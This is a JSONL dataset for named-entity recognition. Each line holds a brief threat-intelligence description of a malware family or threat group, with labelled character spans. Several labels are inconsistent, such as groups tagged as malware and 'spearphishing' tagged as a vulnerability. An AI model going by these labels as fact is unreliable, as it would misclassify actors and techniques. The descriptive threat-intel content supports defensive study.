+{"text": "TAMECAT is a malware that is used by APT42 to execute PowerShell or C# content.", "spans": {"MALWARE: TAMECAT": [[0, 7]], "THREAT_ACTOR: APT42": [[37, 42]], "TOOL: PowerShell": [[54, 64]]}, "info": {"source": "apt_reports", "name": "TAMECAT"}}
+{"text": "PS1 is a loader that was used to deploy 64-bit backdoors in the CostaRicto campaign.", "spans": {"MALWARE: PS1": [[0, 3]], "THREAT_ACTOR: CostaRicto": [[64, 74]]}, "info": {"source": "apt_reports", "name": "PS1"}}
+{"text": "Ursnif is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, Spearphishing Attachments, and malicious links. Ursnif is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.", "spans": {"MALWARE: Ursnif": [[0, 6], [169, 175]], "MALWARE: Gozi": [[46, 50]]}, "info": {"source": "apt_reports", "name": "Ursnif"}}
+{"text": "CASTLETAP is an ICMP port knocking backdoor that has been installed on compromised FortiGate firewalls by UNC3886.", "spans": {"MALWARE: CASTLETAP": [[0, 9]], "THREAT_ACTOR: UNC3886": [[106, 113]], "SYSTEM: FortiGate": [[83, 92]]}, "info": {"source": "apt_reports", "name": "CASTLETAP"}}
+{"text": "ThreatNeedle is a backdoor that has been used by Lazarus Group since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations.  It is considered to be an advanced cluster of Lazarus Group's Manuscrypt (a.k.a. NukeSped) malware family.", "spans": {"MALWARE: ThreatNeedle": [[0, 12]], "THREAT_ACTOR: Lazarus Group": [[49, 62], [198, 211]]}, "info": {"source": "apt_reports", "name": "ThreatNeedle"}}
+{"text": "RansomHub is a ransomware-as-a-service (RaaS) offering with Windows, ESXi, Linux, and FreeBSD versions that has been in use since at least 2024 to target organizations in multiple sectors globally. RansomHub operators may have purchased and rebranded resources from Knight  (formerly Cyclops) Ransomware which shares infrastructure, feature, and code overlaps with RansomHub.", "spans": {"THREAT_ACTOR: RansomHub": [[0, 9], [198, 207], [365, 374]], "SYSTEM: ESXi": [[69, 73]], "SYSTEM: FreeBSD": [[86, 93]], "SYSTEM: Windows": [[60, 67]], "SYSTEM: Linux": [[75, 80]], "MALWARE: Cyclops": [[284, 291]], "MALWARE: Knight": [[266, 272]]}, "info": {"source": "apt_reports", "name": "RansomHub"}}
+{"text": "ZLib is a full-featured backdoor that was used as a second-stage implant during Operation Dust Storm since at least 2014. ZLib is malware and should not be confused with the legitimate compression library from which its name is derived.", "spans": {"MALWARE: ZLib": [[0, 4], [122, 126]], "THREAT_ACTOR: Dust Storm": [[90, 100]], "THREAT_ACTOR: Operation Dust Storm": [[80, 100]]}, "info": {"source": "apt_reports", "name": "ZLib"}}
+{"text": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.", "spans": {"MALWARE: RedLeaves": [[0, 9]], "MALWARE: menuPass": [[38, 46]], "MALWARE: PlugX": [[71, 76]]}, "info": {"source": "apt_reports", "name": "RedLeaves"}}
+{"text": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.", "spans": {"MALWARE: Miner-C": [[0, 7]], "SYSTEM: NAS": [[127, 130]]}, "info": {"source": "apt_reports", "name": "Miner-C"}}
+{"text": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped.", "spans": {"MALWARE: POWERSOURCE": [[0, 11]], "TOOL: PowerShell": [[17, 27]], "VULNERABILITY: spearphishing": [[170, 183]]}, "info": {"source": "apt_reports", "name": "POWERSOURCE"}}
+{"text": "LITTLELAMB.WOOLTEA is a backdoor that was used by UNC5325 during Cutting Edge to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.", "spans": {"MALWARE: LITTLELAMB.WOOLTEA": [[0, 18]], "THREAT_ACTOR: UNC5325": [[50, 57]], "THREAT_ACTOR: Cutting Edge": [[65, 77]], "SYSTEM: Edge": [[73, 77]], "SYSTEM: Ivanti": [[108, 114]]}, "info": {"source": "apt_reports", "name": "LITTLELAMB.WOOLTEA"}}
+{"text": "Felismus is a modular backdoor that has been used by Sowbug.", "spans": {"MALWARE: Felismus": [[0, 8]], "THREAT_ACTOR: Sowbug": [[53, 59]]}, "info": {"source": "apt_reports", "name": "Felismus"}}
+{"text": "Zeus Panda is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. Zeus Panda’s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.", "spans": {"MALWARE: Zeus Panda": [[0, 10], [111, 121]], "SYSTEM: Windows 10": [[334, 344]], "SYSTEM: Windows": [[276, 283], [315, 322], [334, 341]], "SYSTEM: Windows XP": [[315, 325]], "MALWARE: Zeus": [[0, 4], [111, 115]]}, "info": {"source": "apt_reports", "name": "Zeus Panda"}}
+{"text": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.", "spans": {"MALWARE: GeminiDuke": [[0, 10]], "THREAT_ACTOR: APT29": [[39, 44]]}, "info": {"source": "apt_reports", "name": "GeminiDuke"}}
+{"text": "Havoc is an open-source post-exploitation command and control (C2) framework first released on GitHub in October 2022 by C5pider (Paul Ungur), who continues to maintain and develop it with community contributors. Havoc provides a wide range of offensive security capabilities and has been adopted by multiple threat actors to establish and maintain control over compromised systems.", "spans": {"TOOL: Havoc": [[0, 5], [213, 218]], "SYSTEM: GitHub": [[95, 101]]}, "info": {"source": "apt_reports", "name": "Havoc"}}
+{"text": "CARROTBAT is a customized dropper that has been in use since at least 2017. CARROTBAT has been used to install SYSCON and has infrastructure overlap with KONNI.", "spans": {"MALWARE: CARROTBAT": [[0, 9], [76, 85]], "MALWARE: KONNI": [[154, 159]], "MALWARE: SYSCON": [[111, 117]]}, "info": {"source": "apt_reports", "name": "CARROTBAT"}}
+{"text": "Matryoshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences.", "spans": {"MALWARE: Matryoshka": [[0, 10]], "THREAT_ACTOR: CopyKittens": [[42, 53]]}, "info": {"source": "apt_reports", "name": "Matryoshka"}}
+{"text": "FrameworkPOS is a point of sale (POS) malware used by FIN6 to steal payment card data from sytems that run physical POS devices.", "spans": {"MALWARE: FrameworkPOS": [[0, 12]], "THREAT_ACTOR: FIN6": [[54, 58]]}, "info": {"source": "apt_reports", "name": "FrameworkPOS"}}
+{"text": "GravityRAT is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India.", "spans": {"MALWARE: GravityRAT": [[0, 10]]}, "info": {"source": "apt_reports", "name": "GravityRAT"}}
+{"text": "WEBC2 is a family of backdoor malware used by APT1 as early as July 2006. WEBC2 backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server.", "spans": {"MALWARE: WEBC2": [[0, 5], [74, 79]], "THREAT_ACTOR: APT1": [[46, 50]]}, "info": {"source": "apt_reports", "name": "WEBC2"}}
+{"text": "Prestige ransomware has been used by Sandworm Team since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.", "spans": {"MALWARE: Prestige": [[0, 8]], "THREAT_ACTOR: Sandworm": [[37, 45]], "MALWARE: Sandworm Team": [[37, 50]]}, "info": {"source": "apt_reports", "name": "Prestige"}}
+{"text": "InvisibleFerret is a modular python malware that is leveraged for data exfiltration and remote access capabilities.   InvisibleFerret consists of four modules: main, payload, browser, and AnyDesk.  InvisibleFerret malware has been leveraged by North Korea-affiliated threat actors identified as DeceptiveDevelopment or Contagious Interview since 2023.  InvisibleFerret has historically been introduced to the victim environment through the use of the BeaverTail malware.", "spans": {"MALWARE: InvisibleFerret": [[0, 15], [118, 133], [198, 213], [353, 368]], "THREAT_ACTOR: Contagious Interview": [[319, 339]], "TOOL: AnyDesk": [[188, 195]], "MALWARE: BeaverTail": [[451, 461]]}, "info": {"source": "apt_reports", "name": "InvisibleFerret"}}
+{"text": "Bankshot is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, Lazarus Group used the Bankshot implant in attacks against the Turkish financial sector.", "spans": {"MALWARE: Bankshot": [[0, 8], [155, 163]], "THREAT_ACTOR: Lazarus Group": [[132, 145]], "ORGANIZATION: Department of Homeland Security": [[70, 101]]}, "info": {"source": "apt_reports", "name": "Bankshot"}}
+{"text": "SharpDisco is a dropper developed in C# that has been used by MoustachedBouncer since at least 2020 to load malicious plugins.", "spans": {"MALWARE: SharpDisco": [[0, 10]], "THREAT_ACTOR: MoustachedBouncer": [[62, 79]]}, "info": {"source": "apt_reports", "name": "SharpDisco"}}
+{"text": "StrongPity is an information stealing malware used by PROMETHIUM.", "spans": {"THREAT_ACTOR: PROMETHIUM": [[54, 64]], "THREAT_ACTOR: StrongPity": [[0, 10]]}, "info": {"source": "apt_reports", "name": "StrongPity"}}
+{"text": "HAPPYWORK is a downloader used by APT37 to target South Korean government and financial victims in November 2016.", "spans": {"MALWARE: HAPPYWORK": [[0, 9]], "THREAT_ACTOR: APT37": [[34, 39]]}, "info": {"source": "apt_reports", "name": "HAPPYWORK"}}
+{"text": "xCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.", "spans": {"MALWARE: xCaon": [[0, 5], [105, 110]], "THREAT_ACTOR: IndigoZebra": [[72, 83]], "MALWARE: BoxCaon": [[32, 39]]}, "info": {"source": "apt_reports", "name": "xCaon"}}
+{"text": "PLAINTEE is a malware sample that has been used by Rancor in targeted attacks in Singapore and Cambodia.", "spans": {"MALWARE: PLAINTEE": [[0, 8]], "MALWARE: Rancor": [[51, 57]]}, "info": {"source": "apt_reports", "name": "PLAINTEE"}}
+{"text": "Pony is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.", "spans": {"MALWARE: Pony": [[0, 4], [136, 140]]}, "info": {"source": "apt_reports", "name": "Pony"}}
+{"text": "WinMM is a full-featured, simple backdoor used by Naikon.", "spans": {"MALWARE: WinMM": [[0, 5]], "THREAT_ACTOR: Naikon": [[50, 56]]}, "info": {"source": "apt_reports", "name": "WinMM"}}
+{"text": "Nebulae Is a backdoor that has been used by Naikon  since at least 2020.", "spans": {"MALWARE: Nebulae": [[0, 7]], "THREAT_ACTOR: Naikon": [[44, 50]]}, "info": {"source": "apt_reports", "name": "Nebulae"}}
+{"text": "Janicab is an OS X trojan that relied on a valid developer ID and oblivious users to install it.", "spans": {"MALWARE: Janicab": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Janicab"}}
+{"text": "AuditCred is a malicious DLL that has been used by Lazarus Group during their 2018 attacks.", "spans": {"MALWARE: AuditCred": [[0, 9]], "THREAT_ACTOR: Lazarus Group": [[51, 64]]}, "info": {"source": "apt_reports", "name": "AuditCred"}}
+{"text": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.", "spans": {"MALWARE: Lurid": [[0, 5]], "MALWARE: PittyTiger": [[74, 84]]}, "info": {"source": "apt_reports", "name": "Lurid"}}
+{"text": "TONESHELL is a custom backdoor that has been used since at least Q1 2021.   TONESHELL malware has previously been leveraged by Chinese affiliated actors identified as Mustang Panda.", "spans": {"MALWARE: TONESHELL": [[0, 9], [76, 85]], "THREAT_ACTOR: Mustang Panda": [[167, 180]]}, "info": {"source": "apt_reports", "name": "TONESHELL"}}
+{"text": "UPSTYLE is a Python-based backdoor associated with exploitation of Palo Alto firewalls using CVE-2024-3400 in early 2024. UPSTYLE has only been observed in relation to this exploitation activity, which involved attempted install on compromised devices by the threat actor UTA0218.", "spans": {"CVE_ID: CVE-2024-3400": [[93, 106]], "MALWARE: UPSTYLE": [[0, 7], [122, 129]], "THREAT_ACTOR: UTA0218": [[272, 279]], "SYSTEM: Palo Alto": [[67, 76]], "SYSTEM: Python": [[13, 19]]}, "info": {"source": "apt_reports", "name": "UPSTYLE"}}
+{"text": "Kasidet is a backdoor that has been dropped by using malicious VBA macros.", "spans": {"MALWARE: Kasidet": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Kasidet"}}
+{"text": "Hannotog is a type of backdoor malware uniquely assoicated with Lotus Blossom operations since at least 2022.", "spans": {"MALWARE: Hannotog": [[0, 8]], "MALWARE: Lotus": [[64, 69]], "MALWARE: Lotus Blossom": [[64, 77]]}, "info": {"source": "apt_reports", "name": "Hannotog"}}
+{"text": "OceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.", "spans": {"MALWARE: OceanSalt": [[0, 9], [111, 120]], "THREAT_ACTOR: APT1": [[187, 191]], "MALWARE: SpyNote": [[149, 156]]}, "info": {"source": "apt_reports", "name": "OceanSalt"}}
+{"text": "Playcrypt is a ransomware that has been used by Play since at least 2022 in attacks against against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. Playcrypt derives its name from adding the .play extension to encrypted files and has overlap with tactics and tools associated with Hive and Nokoyawa ransomware and infrastructure associated with Quantum ransomware.", "spans": {"MALWARE: Playcrypt": [[0, 9], [226, 235]], "MALWARE: Play": [[48, 52]], "MALWARE: Hive": [[359, 363]]}, "info": {"source": "apt_reports", "name": "Playcrypt"}}
+{"text": "Brave Prince is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to Gold Dragon, and was seen along with Gold Dragon and RunningRAT in operations surrounding the 2018 Pyeongchang Winter Olympics.", "spans": {"MALWARE: Brave Prince": [[0, 12]], "SYSTEM: Brave": [[0, 5]], "MALWARE: Gold Dragon": [[137, 148], [174, 185]], "MALWARE: RunningRAT": [[190, 200]]}, "info": {"source": "apt_reports", "name": "Brave Prince"}}
+{"text": "Medusa Ransomware has been utilized in attacks since at least 2021. Medusa Ransomware has been known to be utilized in conjunction with living off the land techniques and remote management software. Medusa Ransomware has been used in campaigns associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Medusa Ransomware software was initially a closed ransomware variant which later evolved to a Ransomware as a Service (RaaS). Medusa Ransomware has impacted victims from a diverse range of sectors within a multitude of countries, and it is assessed Medusa Ransomware is used in an opportunistic manner.", "spans": {"MALWARE: Medusa Ransomware": [[0, 17], [68, 85], [199, 216], [427, 444], [553, 570], [676, 693]], "TOOL: Medusa": [[0, 6], [68, 74], [199, 205], [427, 433], [553, 559], [676, 682]]}, "info": {"source": "apt_reports", "name": "Medusa Ransomware"}}
+{"text": "RainyDay is a backdoor tool that has been used by Naikon since at least 2020.", "spans": {"MALWARE: RainyDay": [[0, 8]], "THREAT_ACTOR: Naikon": [[50, 56]]}, "info": {"source": "apt_reports", "name": "RainyDay"}}
+{"text": "Ecipekac is a multi-layer loader that has been used by menuPass since at least 2019 including use as a loader for P8RAT, SodaMaster, and FYAnti.", "spans": {"MALWARE: Ecipekac": [[0, 8]], "MALWARE: menuPass": [[55, 63]], "MALWARE: SodaMaster": [[121, 131]], "MALWARE: P8RAT": [[114, 119]], "MALWARE: FYAnti": [[137, 143]]}, "info": {"source": "apt_reports", "name": "Ecipekac"}}
+{"text": "AppleSeed is a backdoor that has been used by Kimsuky to target South Korean government, academic, and commercial  targets since at least 2021.", "spans": {"MALWARE: AppleSeed": [[0, 9]], "THREAT_ACTOR: Kimsuky": [[46, 53]]}, "info": {"source": "apt_reports", "name": "AppleSeed"}}
+{"text": "BUSHWALK is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during Cutting Edge.", "spans": {"MALWARE: BUSHWALK": [[0, 8]], "THREAT_ACTOR: Cutting Edge": [[150, 162]], "SYSTEM: Edge": [[158, 162]], "SYSTEM: Ivanti": [[116, 122]], "SYSTEM: Perl": [[35, 39]]}, "info": {"source": "apt_reports", "name": "BUSHWALK"}}
+{"text": "macOS.OSAMiner is a Monero mining trojan that was first observed in 2018; security researchers assessed macOS.OSAMiner may have been circulating since at least 2015. macOS.OSAMiner is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.", "spans": {"MALWARE: macOS.OSAMiner": [[0, 14], [104, 118], [166, 180]], "SYSTEM: macOS": [[0, 5], [104, 109], [166, 171]], "ORGANIZATION: Apple": [[320, 325]]}, "info": {"source": "apt_reports", "name": "macOS.OSAMiner"}}
+{"text": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.", "spans": {"MALWARE: LOWBALL": [[0, 7]], "MALWARE: admin@338": [[27, 36]]}, "info": {"source": "apt_reports", "name": "LOWBALL"}}
+{"text": "NETWIRE is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.", "spans": {"MALWARE: NETWIRE": [[0, 7]]}, "info": {"source": "apt_reports", "name": "NETWIRE"}}
+{"text": "TinyTurla is a backdoor that has been used by Turla against targets in the US, Germany, and Afghanistan since at least 2020.", "spans": {"MALWARE: TinyTurla": [[0, 9]], "THREAT_ACTOR: Turla": [[46, 51]]}, "info": {"source": "apt_reports", "name": "TinyTurla"}}
+{"text": "PyDCrypt is malware written in Python designed to deliver DCSrv. It has been used by Moses Staff since at least September 2021, with each sample tailored for its intended victim organization.", "spans": {"MALWARE: PyDCrypt": [[0, 8]], "SYSTEM: Python": [[31, 37]], "MALWARE: DCSrv": [[58, 63]], "MALWARE: Moses Staff": [[85, 96]]}, "info": {"source": "apt_reports", "name": "PyDCrypt"}}
+{"text": "J-magic is a custom variant of the cd00r backdoor tailored to target Juniper routers that was first observed during the J-magic Campaign in mid-2023. J-magic monitors TCP traffic for five predefined parameters or \"magic packets\" to be sent by the attackers before activating on compromised devices.", "spans": {"MALWARE: J-magic": [[0, 7], [120, 127], [150, 157]], "THREAT_ACTOR: J-magic Campaign": [[120, 136]], "SYSTEM: Juniper": [[69, 76]], "MALWARE: cd00r": [[35, 40]]}, "info": {"source": "apt_reports", "name": "J-magic"}}
+{"text": "PowerExchange is a PowerShell backdoor that has been used by OilRig since at least 2023 including against government targets in the Middle East.", "spans": {"MALWARE: PowerExchange": [[0, 13]], "THREAT_ACTOR: OilRig": [[61, 67]], "TOOL: PowerShell": [[19, 29]]}, "info": {"source": "apt_reports", "name": "PowerExchange"}}
+{"text": "BOOKWORM is a modular trojan known to be leveraged by Mustang Panda and was first observed utilized in 2015.  BOOKWORM was later updated in late 2021 and the fall of 2022 to launch shellcode represented as UUID parameters.", "spans": {"MALWARE: BOOKWORM": [[0, 8], [110, 118]], "THREAT_ACTOR: Mustang Panda": [[54, 67]]}, "info": {"source": "apt_reports", "name": "BOOKWORM"}}
+{"text": "HyperStack is a RPC-based backdoor used by Turla since at least 2018. HyperStack has similarities to other backdoors used by Turla including Carbon.", "spans": {"MALWARE: HyperStack": [[0, 10], [70, 80]], "THREAT_ACTOR: Turla": [[43, 48], [125, 130]], "MALWARE: Carbon": [[141, 147]]}, "info": {"source": "apt_reports", "name": "HyperStack"}}
+{"text": "iKitten is a macOS exfiltration agent  .", "spans": {"MALWARE: iKitten": [[0, 7]], "SYSTEM: macOS": [[13, 18]]}, "info": {"source": "apt_reports", "name": "iKitten"}}
+{"text": "HAMMERTOSS is a backdoor that was used by APT29 in 2015.", "spans": {"MALWARE: HAMMERTOSS": [[0, 10]], "THREAT_ACTOR: APT29": [[42, 47]]}, "info": {"source": "apt_reports", "name": "HAMMERTOSS"}}
+{"text": "OLDBAIT is a credential harvester used by APT28.", "spans": {"MALWARE: OLDBAIT": [[0, 7]], "THREAT_ACTOR: APT28": [[42, 47]]}, "info": {"source": "apt_reports", "name": "OLDBAIT"}}
+{"text": "Bad Rabbit is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. Bad Rabbit has also targeted organizations and consumers in Russia.", "spans": {"MALWARE: Bad Rabbit": [[0, 10], [103, 113]]}, "info": {"source": "apt_reports", "name": "Bad Rabbit"}}
+{"text": "CosmicDuke is malware that was used by APT29 from 2010 to 2015.", "spans": {"MALWARE: CosmicDuke": [[0, 10]], "THREAT_ACTOR: APT29": [[39, 44]]}, "info": {"source": "apt_reports", "name": "CosmicDuke"}}
+{"text": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns.", "spans": {"MALWARE: EvilGrab": [[0, 8]], "SYSTEM: Microsoft Office": [[117, 133]], "ORGANIZATION: Microsoft": [[117, 126]], "VULNERABILITY: spearphishing": [[155, 168]], "MALWARE: menuPass": [[94, 102]]}, "info": {"source": "apt_reports", "name": "EvilGrab"}}
+{"text": "EnvyScout is a dropper that has been used by APT29 since at least 2021.", "spans": {"MALWARE: EnvyScout": [[0, 9]], "THREAT_ACTOR: APT29": [[45, 50]]}, "info": {"source": "apt_reports", "name": "EnvyScout"}}
+{"text": "SslMM is a full-featured backdoor used by Naikon that has multiple variants.", "spans": {"MALWARE: SslMM": [[0, 5]], "THREAT_ACTOR: Naikon": [[42, 48]]}, "info": {"source": "apt_reports", "name": "SslMM"}}
+{"text": "STATICPLUGIN is a downloader known to be leveraged by Mustang Panda and was first observed utilized in 2025.  STATICPLUGIN has utilized a valid certificate in order to bypass endpoint security protections.  STATICPLUGIN masqueraded as legitimate software installer by using a custom TForm.  STATICPLUGIN has been leveraged to deploy a loader that facilitates follow on malware.", "spans": {"MALWARE: STATICPLUGIN": [[0, 12], [110, 122], [207, 219], [291, 303]], "THREAT_ACTOR: Mustang Panda": [[54, 67]]}, "info": {"source": "apt_reports", "name": "STATICPLUGIN"}}
+{"text": "IMAPLoader is a .NET-based loader malware exclusively associated with CURIUM operations since at least 2022. IMAPLoader leverages email protocols for command and control and payload delivery.", "spans": {"MALWARE: IMAPLoader": [[0, 10], [109, 119]], "SYSTEM: .NET": [[16, 20]], "MALWARE: CURIUM": [[70, 76]]}, "info": {"source": "apt_reports", "name": "IMAPLoader"}}
+{"text": "GreyEnergy is a backdoor written in C and compiled in Visual Studio. GreyEnergy shares similarities with the BlackEnergy malware and is thought to be the successor of it.", "spans": {"THREAT_ACTOR: GreyEnergy": [[0, 10], [69, 79]], "MALWARE: BlackEnergy": [[109, 120]]}, "info": {"source": "apt_reports", "name": "GreyEnergy"}}
+{"text": "Gomir is a Linux backdoor variant of the Go-based malware GoBear, uniquely assoicated with Kimsuky operations.", "spans": {"MALWARE: Gomir": [[0, 5]], "THREAT_ACTOR: Kimsuky": [[91, 98]], "SYSTEM: Linux": [[11, 16]], "SYSTEM: Go": [[41, 43]], "MALWARE: GoBear": [[58, 64]]}, "info": {"source": "apt_reports", "name": "Gomir"}}
+{"text": "Aria-body is a custom backdoor that has been used by Naikon since approximately 2017.", "spans": {"MALWARE: Aria-body": [[0, 9]], "THREAT_ACTOR: Naikon": [[53, 59]]}, "info": {"source": "apt_reports", "name": "Aria-body"}}
+{"text": "Emotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID. Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.", "spans": {"MALWARE: Emotet": [[0, 6], [132, 138]], "MALWARE: TrickBot": [[111, 119]], "MALWARE: IcedID": [[124, 130]]}, "info": {"source": "apt_reports", "name": "Emotet"}}
+{"text": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.", "spans": {"MALWARE: SNUGRIDE": [[0, 8]], "MALWARE: menuPass": [[45, 53]]}, "info": {"source": "apt_reports", "name": "SNUGRIDE"}}
+{"text": "Olympic Destroyer is malware that was used by Sandworm Team against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. Olympic Destroyer has worm-like features to spread itself across a computer network in order to maximize its destructive impact.", "spans": {"MALWARE: Olympic Destroyer": [[0, 17], [317, 334]], "THREAT_ACTOR: Sandworm": [[46, 54]], "SYSTEM: Windows": [[249, 256]], "MALWARE: Sandworm Team": [[46, 59]]}, "info": {"source": "apt_reports", "name": "Olympic Destroyer"}}
+{"text": "BOLDMOVE is a type of backdoor malware written in C linked to People’s Republic of China operations from 2022 through 2023. BOLDMOVE includes both Windows and Linux variants, with some Linux variants specifically designed for FortiGate Firewall devices. BOLDMOVE is linked to zero-day exploitation of CVE-2022-42475 in FortiOSS SSL-VPNs. The record for BOLDMOVE only covers known Linux variants.", "spans": {"CVE_ID: CVE-2022-42475": [[301, 315]], "MALWARE: BOLDMOVE": [[0, 8], [124, 132], [254, 262], [353, 361]], "SYSTEM: FortiGate": [[226, 235]], "SYSTEM: Windows": [[147, 154]], "SYSTEM: Linux": [[159, 164], [185, 190], [380, 385]], "VULNERABILITY: zero-day": [[276, 284]]}, "info": {"source": "apt_reports", "name": "BOLDMOVE"}}
+{"text": "Crimson is a remote access Trojan that has been used by Transparent Tribe since at least 2016.", "spans": {"MALWARE: Crimson": [[0, 7]], "MALWARE: Transparent Tribe": [[56, 73]]}, "info": {"source": "apt_reports", "name": "Crimson"}}
+{"text": "Tomiris is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between Tomiris and GoldMax.", "spans": {"MALWARE: Tomiris": [[0, 7], [357, 364]], "SYSTEM: Go": [[33, 35]], "VULNERABILITY: DNS hijacking": [[216, 229]], "MALWARE: GoldMax": [[369, 376]]}, "info": {"source": "apt_reports", "name": "Tomiris"}}
+{"text": "TEARDROP is a memory-only dropper that was discovered on some victim machines during investigations related to the SolarWinds Compromise. It was likely used by APT29 since at least May 2020.", "spans": {"MALWARE: TEARDROP": [[0, 8]], "THREAT_ACTOR: SolarWinds Compromise": [[115, 136]], "THREAT_ACTOR: APT29": [[160, 165]], "SYSTEM: SolarWinds": [[115, 125]]}, "info": {"source": "apt_reports", "name": "TEARDROP"}}
+{"text": "DUSTTRAP is a multi-stage plugin framework associated with APT41 operations with multiple components.", "spans": {"MALWARE: DUSTTRAP": [[0, 8]], "THREAT_ACTOR: APT41": [[59, 64]]}, "info": {"source": "apt_reports", "name": "DUSTTRAP"}}
+{"text": "Turian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.", "spans": {"MALWARE: Turian": [[0, 6], [215, 221]], "THREAT_ACTOR: BackdoorDiplomacy": [[43, 60]]}, "info": {"source": "apt_reports", "name": "Turian"}}
+{"text": "THINCRUST is a Python-based backdoor tool that has been used by UNC3886 since at least 2023.", "spans": {"MALWARE: THINCRUST": [[0, 9]], "THREAT_ACTOR: UNC3886": [[64, 71]], "SYSTEM: Python": [[15, 21]]}, "info": {"source": "apt_reports", "name": "THINCRUST"}}
+{"text": "BADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.", "spans": {"MALWARE: BADHATCH": [[0, 8], [75, 83]], "THREAT_ACTOR: FIN8": [[49, 53]]}, "info": {"source": "apt_reports", "name": "BADHATCH"}}
+{"text": "Machete is a cyber espionage toolset used by Machete. It is a Python-based backdoor targeting Windows machines that was first observed in 2010.", "spans": {"MALWARE: Machete": [[0, 7], [45, 52]], "SYSTEM: Windows": [[94, 101]], "SYSTEM: Python": [[62, 68]]}, "info": {"source": "apt_reports", "name": "Machete"}}
+{"text": "PowerLess is a PowerShell-based modular backdoor that has been used by Magic Hound since at least 2022.", "spans": {"MALWARE: PowerLess": [[0, 9]], "TOOL: PowerShell": [[15, 25]], "MALWARE: Magic Hound": [[71, 82]]}, "info": {"source": "apt_reports", "name": "PowerLess"}}
+{"text": "Action RAT is a  remote access tool written in Delphi that has been used by SideCopy since at least December 2021 against Indian and Afghani government personnel.", "spans": {"MALWARE: Action RAT": [[0, 10]], "THREAT_ACTOR: SideCopy": [[76, 84]]}, "info": {"source": "apt_reports", "name": "Action RAT"}}
+{"text": "Avenger is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: Avenger": [[0, 7]], "MALWARE: BRONZE BUTLER": [[46, 59]]}, "info": {"source": "apt_reports", "name": "Avenger"}}
+{"text": "DUSTPAN is an in-memory dropper written in C/C++ used by APT41 since 2021 that decrypts and executes an embedded payload.", "spans": {"MALWARE: DUSTPAN": [[0, 7]], "THREAT_ACTOR: APT41": [[57, 62]]}, "info": {"source": "apt_reports", "name": "DUSTPAN"}}
+{"text": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.", "spans": {"MALWARE: Prikormka": [[0, 9]], "THREAT_ACTOR: Groundbait": [[68, 78]]}, "info": {"source": "apt_reports", "name": "Prikormka"}}
